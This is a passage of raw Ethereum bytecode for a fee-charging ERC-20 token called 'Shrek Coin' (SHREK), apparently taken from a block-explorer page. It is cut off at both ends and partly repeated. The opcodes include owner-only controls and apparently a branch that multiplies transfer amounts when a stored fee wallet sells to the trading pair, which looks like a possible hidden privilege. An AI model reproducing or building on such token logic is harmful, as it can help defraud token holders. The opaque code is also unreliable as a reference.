ffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e0f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e339190612e27565b6040518363ffffffff1660e01b8152600401610e50929190612e52565b6020604051808303815f875af1158015610e6c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e909190612e27565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160065f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550610f913060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61158c565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd930611151565b5f80610fe361123b565b426040518863ffffffff1660e01b815260040161100596959493929190612eb2565b60606040518083038185885af1158015611021573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110469190612f25565b505050565b611053611585565b73ffffffffffffffffffffffffffffffffffffffff1661107161123b565b73ffffffffffffffffffffffffffffffffffffffff16146110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be90612ae3565b60405180910390fd5b8047101561110a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110190612fbf565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561114d573d5f803e3d5ffd5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61119f611585565b73ffffffffffffffffffffffffffffffffffffffff166111bd61123b565b73ffffffffffffffffffffffffffffffffffffffff1614611213576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120a90612ae3565b60405180910390fd5b61121c5f611d28565b565b6005602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f534852454b000000000000000000000000000000000000000000000000000000815250905090565b5f600c60016101000a81548160ff02191690831515021790555050565b5f6113596112c8611585565b848460025f6112d5611585565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113549190612dad565b61158c565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b5f6113a161139a611585565b848461174f565b6001905092915050565b6017805f0154908060010154905082565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600f602052805f5260405f205f915090505481565b60115481565b611461611585565b73ffffffffffffffffffffffffffffffffffffffff1661147f61123b565b73ffffffffffffffffffffffffffffffffffffffff16146114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612ae3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153a9061304d565b60405180910390fd5b61154c81611d28565b50565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6013805f0154908060010154905082565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f1906130db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f90613169565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117429190612812565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b4906131f7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361182b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182290613285565b60405180910390fd5b5f811161186d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186490613313565b60405180910390fd5b600a54811115806118c4575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fa906133a1565b60405180910390fd5b60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166119aa57600b548161195e84611151565b6119689190612de0565b11156119a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a09061342f565b60405180910390fd5b5b6009546119b630611151565b101580156119d05750600c60019054906101000a900460ff165b80156119eb5750600d54600e546119e79190612de0565b4210155b8015611a035750600c5f9054906101000a900460ff16155b8015611a5c575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a9b5750611a6b61123b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ada5750611aaa61123b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ae857611ae7611de9565b5b5f819050611af68484611f49565b15611b0f5760156001015482611b0c9190612ca7565b91505b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611b5b9190612dad565b925050819055508091505f82905060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611c07575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c6957611c66838660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614611ffa565b90505b8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611cb59190612de0565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d199190612812565b60405180910390a35050505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600c5f6101000a81548160ff0219169083151502179055505f60135f01541115611e98575f611e1d60135f01546121cf565b90505f811115611e965760125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e8b573d5f803e3d5ffd5b505f60135f01819055505b505b5f6013600101541115611efb575f6002601360010154611eb89190612d15565b90505f81601360010154611ecc9190612dad565b90505f611ed8836121cf565b90505f811115611eed57611eec828261241b565b5b5f6013600101819055505050505b7fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003060405160405180910390a142600e819055505f600c5f6101000a81548160ff021916908315150217905550565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ff2575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b5f8060156040518060400160405290815f820154815260200160018201548152505090505f4790508315612061576040518060400160405280600754836120419190612d15565b60175f01546120509190612dad565b815260200160176001015481525091505b5f6064835f0151886120739190612ca7565b61207d9190612d15565b90505f60648460200151896120929190612ca7565b61209c9190612d15565b90505f8211156120c1578160135f015f8282546120b99190612de0565b925050819055505b5f8111156120e5578060136001015f8282546120dd9190612de0565b925050819055505b5f81836120f29190612de0565b90508060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546121409190612de0565b925050819055505f8111156121b5573073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121ac9190612812565b60405180910390a35b80896121c19190612dad565b955050505050509392505050565b5f804790505f600267ffffffffffffffff8111156121f0576121ef61344d565b5b60405190808252806020026020018201604052801561221e5781602001602082028036833780820191505090505b50905030815f815181106122355761223461347a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156122d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906122fd9190612e27565b816001815181106123115761231061347a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123773060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168661158c565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f8430426040518663ffffffff1660e01b81526004016123d995949392919061355e565b5f604051808303815f87803b1580156123f0575f80fd5b505af1158015612402573d5f803e3d5ffd5b5050505081476124129190612dad565b92505050919050565b6124473060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461158c565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198330865f8061249261123b565b426040518863ffffffff1660e01b81526004016124b496959493929190612eb2565b60606040518083038185885af11580156124d0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906124f59190612f25565b509150505f81836125069190612dad565b111561256257612561818361251b9190612dad565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661256790919063ffffffff16565b5b505050565b804710156125aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a190613600565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff16826040516125cf9061364b565b5f6040518083038185875af1925050503d805f8114612609576040519150601f19603f3d011682016040523d82523d5f602084013e61260e565b606091505b5050905080612652576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612649906136cf565b60405180910390fd5b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561268e578082015181840152602081019050612673565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6126b382612657565b6126bd8185612661565b93506126cd818560208601612671565b6126d681612699565b840191505092915050565b5f6020820190508181035f8301526126f981846126a9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61272e82612705565b9050919050565b61273e81612724565b8114612748575f80fd5b50565b5f8135905061275981612735565b92915050565b5f819050919050565b6127718161275f565b811461277b575f80fd5b50565b5f8135905061278c81612768565b92915050565b5f80604083850312156127a8576127a7612701565b5b5f6127b58582860161274b565b92505060206127c68582860161277e565b9150509250929050565b5f8115159050919050565b6127e4816127d0565b82525050565b5f6020820190506127fd5f8301846127db565b92915050565b61280c8161275f565b82525050565b5f6020820190506128255f830184612803565b92915050565b5f806040838503121561284157612840612701565b5b5f61284e8582860161277e565b925050602061285f8582860161277e565b9150509250929050565b5f805f606084860312156128805761287f612701565b5b5f61288d8682870161274b565b935050602061289e8682870161274b565b92505060406128af8682870161277e565b9150509250925092565b5f602082840312156128ce576128cd612701565b5b5f6128db8482850161274b565b91505092915050565b6128ed81612724565b82525050565b5f6020820190506129065f8301846128e4565b92915050565b5f60ff82169050919050565b6129218161290c565b82525050565b5f60208201905061293a5f830184612918565b92915050565b5f6040820190506129535f830185612803565b6129606020830184612803565b9392505050565b5f6020828403121561297c5761297b612701565b5b5f6129898482850161277e565b91505092915050565b61299b816127d0565b81146129a5575f80fd5b50565b5f813590506129b681612992565b92915050565b5f602082840312156129d1576129d0612701565b5b5f6129de848285016129a8565b91505092915050565b5f80604083850312156129fd576129fc612701565b5b5f612a0a8582860161274b565b9250506020612a1b8582860161274b565b9150509250929050565b5f819050919050565b5f612a48612a43612a3e84612705565b612a25565b612705565b9050919050565b5f612a5982612a2e565b9050919050565b5f612a6a82612a4f565b9050919050565b612a7a81612a60565b82525050565b5f602082019050612a935f830184612a71565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612acd602083612661565b9150612ad882612a99565b602082019050919050565b5f6020820190508181035f830152612afa81612ac1565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612b8357808604811115612b5f57612b5e612b01565b5b6001851615612b6e5780820291505b8081029050612b7c85612b2e565b9450612b43565b94509492505050565b5f82612b9b5760019050612c56565b81612ba8575f9050612c56565b8160018114612bbe5760028114612bc857612bf7565b6001915050612c56565b60ff841115612bda57612bd9612b01565b5b8360020a915084821115612bf157612bf0612b01565b5b50612c56565b5060208310610133831016604e8410600b8410161715612c2c5782820a905083811115612c2757612c26612b01565b5b612c56565b612c398484846001612b3a565b92509050818404811115612c5057612c4f612b01565b5b81810290505b9392505050565b5f612c678261275f565b9150612c728361290c565b9250612c9f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b8c565b905092915050565b5f612cb18261275f565b9150612cbc8361275f565b9250828202612cca8161275f565b91508282048414831517612ce157612ce0612b01565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612d1f8261275f565b9150612d2a8361275f565b925082612d3a57612d39612ce8565b5b828204905092915050565b7f496e76616c69642053657474696e6773000000000000000000000000000000005f82015250565b5f612d79601083612661565b9150612d8482612d45565b602082019050919050565b5f6020820190508181035f830152612da681612d6d565b9050919050565b5f612db78261275f565b9150612dc28361275f565b9250828203905081811115612dda57612dd9612b01565b5b92915050565b5f612dea8261275f565b9150612df58361275f565b9250828201905080821115612e0d57612e0c612b01565b5b92915050565b5f81519050612e2181612735565b92915050565b5f60208284031215612e3c57612e3b612701565b5b5f612e4984828501612e13565b91505092915050565b5f604082019050612e655f8301856128e4565b612e7260208301846128e4565b9392505050565b5f819050919050565b5f612e9c612e97612e9284612e79565b612a25565b61275f565b9050919050565b612eac81612e82565b82525050565b5f60c082019050612ec55f8301896128e4565b612ed26020830188612803565b612edf6040830187612ea3565b612eec6060830186612ea3565b612ef960808301856128e4565b612f0660a0830184612803565b979650505050505050565b5f81519050612f1f81612768565b92915050565b5f805f60608486031215612f3c57612f3b612701565b5b5f612f4986828701612f11565b9350506020612f5a86828701612f11565b9250506040612f6b86828701612f11565b9150509250925092565b7f496e73756666696369656e74204554482062616c616e636500000000000000005f82015250565b5f612fa9601883612661565b9150612fb482612f75565b602082019050919050565b5f6020820190508181035f830152612fd681612f9d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613037602683612661565b915061304282612fdd565b604082019050919050565b5f6020820190508181035f8301526130648161302b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6130c5602483612661565b91506130d08261306b565b604082019050919050565b5f6020820190508181035f8301526130f2816130b9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613153602283612661565b915061315e826130f9565b604082019050919050565b5f6020820190508181035f83015261318081613147565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6131e1602583612661565b91506131ec82613187565b604082019050919050565b5f6020820190508181035f83015261320e816131d5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61326f602383612661565b915061327a82613215565b604082019050919050565b5f6020820190508181035f83015261329c81613263565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6132fd602983612661565b9150613308826132a3565b604082019050919050565b5f6020820190508181035f83015261332a816132f1565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d61785f8201527f5478416d6f756e742e0000000000000000000000000000000000000000000000602082015250565b5f61338b602983612661565b915061339682613331565b604082019050919050565b5f6020820190508181035f8301526133b88161337f565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178575f8201527f616c6c65742e0000000000000000000000000000000000000000000000000000602082015250565b5f613419602683612661565b9150613424826133bf565b604082019050919050565b5f6020820190508181035f8301526134468161340d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6134d981612724565b82525050565b5f6134ea83836134d0565b60208301905092915050565b5f602082019050919050565b5f61350c826134a7565b61351681856134b1565b9350613521836134c1565b805f5b8381101561355157815161353888826134df565b9750613543836134f6565b925050600181019050613524565b5085935050505092915050565b5f60a0820190506135715f830188612803565b61357e6020830187612ea3565b81810360408301526135908186613502565b905061359f60608301856128e4565b6135ac6080830184612803565b9695505050505050565b7f416464726573733a20696e73756666696369656e742062616c616e63650000005f82015250565b5f6135ea601d83612661565b91506135f5826135b6565b602082019050919050565b5f6020820190508181035f830152613617816135de565b9050919050565b5f81905092915050565b50565b5f6136365f8361361e565b915061364182613628565b5f82019050919050565b5f6136558261362b565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c20725f8201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b5f6136b9603a83612661565b91506136c48261365f565b604082019050919050565b5f6020820190508181035f8301526136e6816136ad565b905091905056fea26469706673582212205024bef9d3d9b29ce865441e9e27845288d00553f4dd571b4eb3a4b440aaa41d64736f6c63430008150033

Deployed Bytecode

0x6080604052600436106101f1575f3560e01c806370a082311161010c578063a90290bc1161009f578063ee9a5d821161006e578063ee9a5d82146106f4578063ef07a18214610730578063f2fde38b1461075a578063f887ea4014610782578063f9d0ee94146107ac576101f8565b8063a90290bc14610627578063a9059cbb14610651578063cc1776d31461068d578063dd62ed3e146106b8576101f8565b806395d89b41116100db57806395d89b411461056f578063a236338814610599578063a457c2d7146105c1578063a8aa1b31146105fd576101f8565b806370a08231146104b7578063715018a6146104f3578063768dc710146105095780638da5cb5b14610545576101f8565b8063313ce567116101845780634d22834b116101535780634d22834b146104245780634f7041a51461044e57806351cd7cc3146104795780635966c81e1461048f576101f8565b8063313ce5671461038057806339509351146103aa5780633c576a97146103e65780634cf27997146103fc576101f8565b806318160ddd116101c057806318160ddd146102b457806323b872dd146102de57806328c61f411461031a5780632f48112a14610356576101f8565b806306fdde03146101fc578063095ea7b3146102265780631160f736146102625780631323518b1461028c576101f8565b366101f857005b5f80fd5b348015610207575f80fd5b506102106107d7565b60405161021d91906126e1565b60405180910390f35b348015610231575f80fd5b5061024c60048036038101906102479190612792565b610814565b60405161025991906127ea565b60405180910390f35b34801561026d575f80fd5b50610276610831565b6040516102839190612812565b60405180910390f35b348015610297575f80fd5b506102b260048036038101906102ad919061282b565b610837565b005b3480156102bf575f80fd5b506102c861097c565b6040516102d59190612812565b60405180910390f35b3480156102e9575f80fd5b5061030460048036038101906102ff9190612869565b610985565b60405161031191906127ea565b60405180910390f35b348015610325575f80fd5b50610340600480360381019061033b91906128b9565b610a38565b60405161034d91906127ea565b60405180910390f35b348015610361575f80fd5b5061036a610a55565b60405161037791906128f3565b60405180910390f35b34801561038b575f80fd5b50610394610a7a565b6040516103a19190612927565b60405180910390f35b3480156103b5575f80fd5b506103d060048036038101906103cb9190612792565b610a82565b6040516103dd91906127ea565b60405180910390f35b3480156103f1575f80fd5b506103fa610b29565b005b348015610407575f80fd5b50610422600480360381019061041d9190612792565b610b9b565b005b34801561042f575f80fd5b50610438610c68565b6040516104459190612812565b60405180910390f35b348015610459575f80fd5b50610462610c6e565b604051610470929190612940565b60405180910390f35b348015610484575f80fd5b5061048d610c7f565b005b34801561049a575f80fd5b506104b560048036038101906104b09190612967565b61104b565b005b3480156104c2575f80fd5b506104dd60048036038101906104d891906128b9565b611151565b6040516104ea9190612812565b60405180910390f35b3480156104fe575f80fd5b50610507611197565b005b348015610514575f80fd5b5061052f600480360381019061052a91906128b9565b61121e565b60405161053c91906127ea565b60405180910390f35b348015610550575f80fd5b5061055961123b565b60405161056691906128f3565b60405180910390f35b34801561057a575f80fd5b50610583611262565b60405161059091906126e1565b60405180910390f35b3480156105a4575f80fd5b506105bf60048036038101906105ba91906129bc565b61129f565b005b3480156105cc575f80fd5b506105e760048036038101906105e29190612792565b6112bc565b6040516105f491906127ea565b60405180910390f35b348015610608575f80fd5b50610611611363565b60405161061e91906128f3565b60405180910390f35b348015610632575f80fd5b5061063b611388565b6040516106489190612812565b60405180910390f35b34801561065c575f80fd5b5061067760048036038101906106729190612792565b61138e565b60405161068491906127ea565b60405180910390f35b348015610698575f80fd5b506106a16113ab565b6040516106af929190612940565b60405180910390f35b3480156106c3575f80fd5b506106de60048036038101906106d991906129e7565b6113bc565b6040516106eb9190612812565b60405180910390f35b3480156106ff575f80fd5b5061071a600480360381019061071591906128b9565b61143e565b6040516107279190612812565b60405180910390f35b34801561073b575f80fd5b50610744611453565b6040516107519190612812565b60405180910390f35b348015610765575f80fd5b50610780600480360381019061077b91906128b9565b611459565b005b34801561078d575f80fd5b5061079661154f565b6040516107a39190612a80565b60405180910390f35b3480156107b7575f80fd5b506107c0611574565b6040516107ce929190612940565b60405180910390f35b60606040518060400160405280600a81526020017f536872656b20436f696e00000000000000000000000000000000000000000000815250905090565b5f610827610820611585565b848461158c565b6001905092915050565b60095481565b61083f611585565b73ffffffffffffffffffffffffffffffffffffffff1661085d61123b565b73ffffffffffffffffffffffffffffffffffffffff16146108b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108aa90612ae3565b60405180910390fd5b5f6009600a6108c29190612c5d565b6103e860056008546108d49190612ca7565b6108de9190612d15565b6108e89190612d15565b90508083101580156108fa5750808210155b610939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093090612d8f565b60405180910390fd5b6009600a6109479190612c5d565b836109529190612ca7565b600a819055506009600a6109669190612c5d565b826109719190612ca7565b600b81905550505050565b5f600854905090565b5f61099184848461174f565b610a2d8461099d611585565b8460025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6109e4611585565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a289190612dad565b61158c565b600190509392505050565b6006602052805f5260405f205f915054906101000a900460ff1681565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6009905090565b5f610b1f610a8e611585565b848460025f610a9b611585565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610b1a9190612de0565b61158c565b6001905092915050565b5f60135f0154601360010154610b3f9190612de0565b905080610b4b30611151565b11610b54575f80fd5b5f81610b5f30611151565b610b699190612dad565b9050610b973060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361174f565b5050565b610ba3611585565b73ffffffffffffffffffffffffffffffffffffffff16610bc161123b565b73ffffffffffffffffffffffffffffffffffffffff1614610c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0e90612ae3565b60405180910390fd5b8042610c239190612de0565b600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b600b5481565b6015805f0154908060010154905082565b610c87611585565b73ffffffffffffffffffffffffffffffffffffffff16610ca561123b565b73ffffffffffffffffffffffffffffffffffffffff1614610cfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf290612ae3565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d65573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d899190612e27565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e0f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e339190612e27565b6040518363ffffffff1660e01b8152600401610e50929190612e52565b6020604051808303815f875af1158015610e6c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e909190612e27565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160065f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550610f913060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61158c565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd930611151565b5f80610fe361123b565b426040518863ffffffff1660e01b815260040161100596959493929190612eb2565b60606040518083038185885af1158015611021573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110469190612f25565b505050565b611053611585565b73ffffffffffffffffffffffffffffffffffffffff1661107161123b565b73ffffffffffffffffffffffffffffffffffffffff16146110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be90612ae3565b60405180910390fd5b8047101561110a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110190612fbf565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561114d573d5f803e3d5ffd5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61119f611585565b73ffffffffffffffffffffffffffffffffffffffff166111bd61123b565b73ffffffffffffffffffffffffffffffffffffffff1614611213576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120a90612ae3565b60405180910390fd5b61121c5f611d28565b565b6005602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f534852454b000000000000000000000000000000000000000000000000000000815250905090565b5f600c60016101000a81548160ff02191690831515021790555050565b5f6113596112c8611585565b848460025f6112d5611585565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113549190612dad565b61158c565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b5f6113a161139a611585565b848461174f565b6001905092915050565b6017805f0154908060010154905082565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600f602052805f5260405f205f915090505481565b60115481565b611461611585565b73ffffffffffffffffffffffffffffffffffffffff1661147f61123b565b73ffffffffffffffffffffffffffffffffffffffff16146114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612ae3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153a9061304d565b60405180910390fd5b61154c81611d28565b50565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6013805f0154908060010154905082565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffff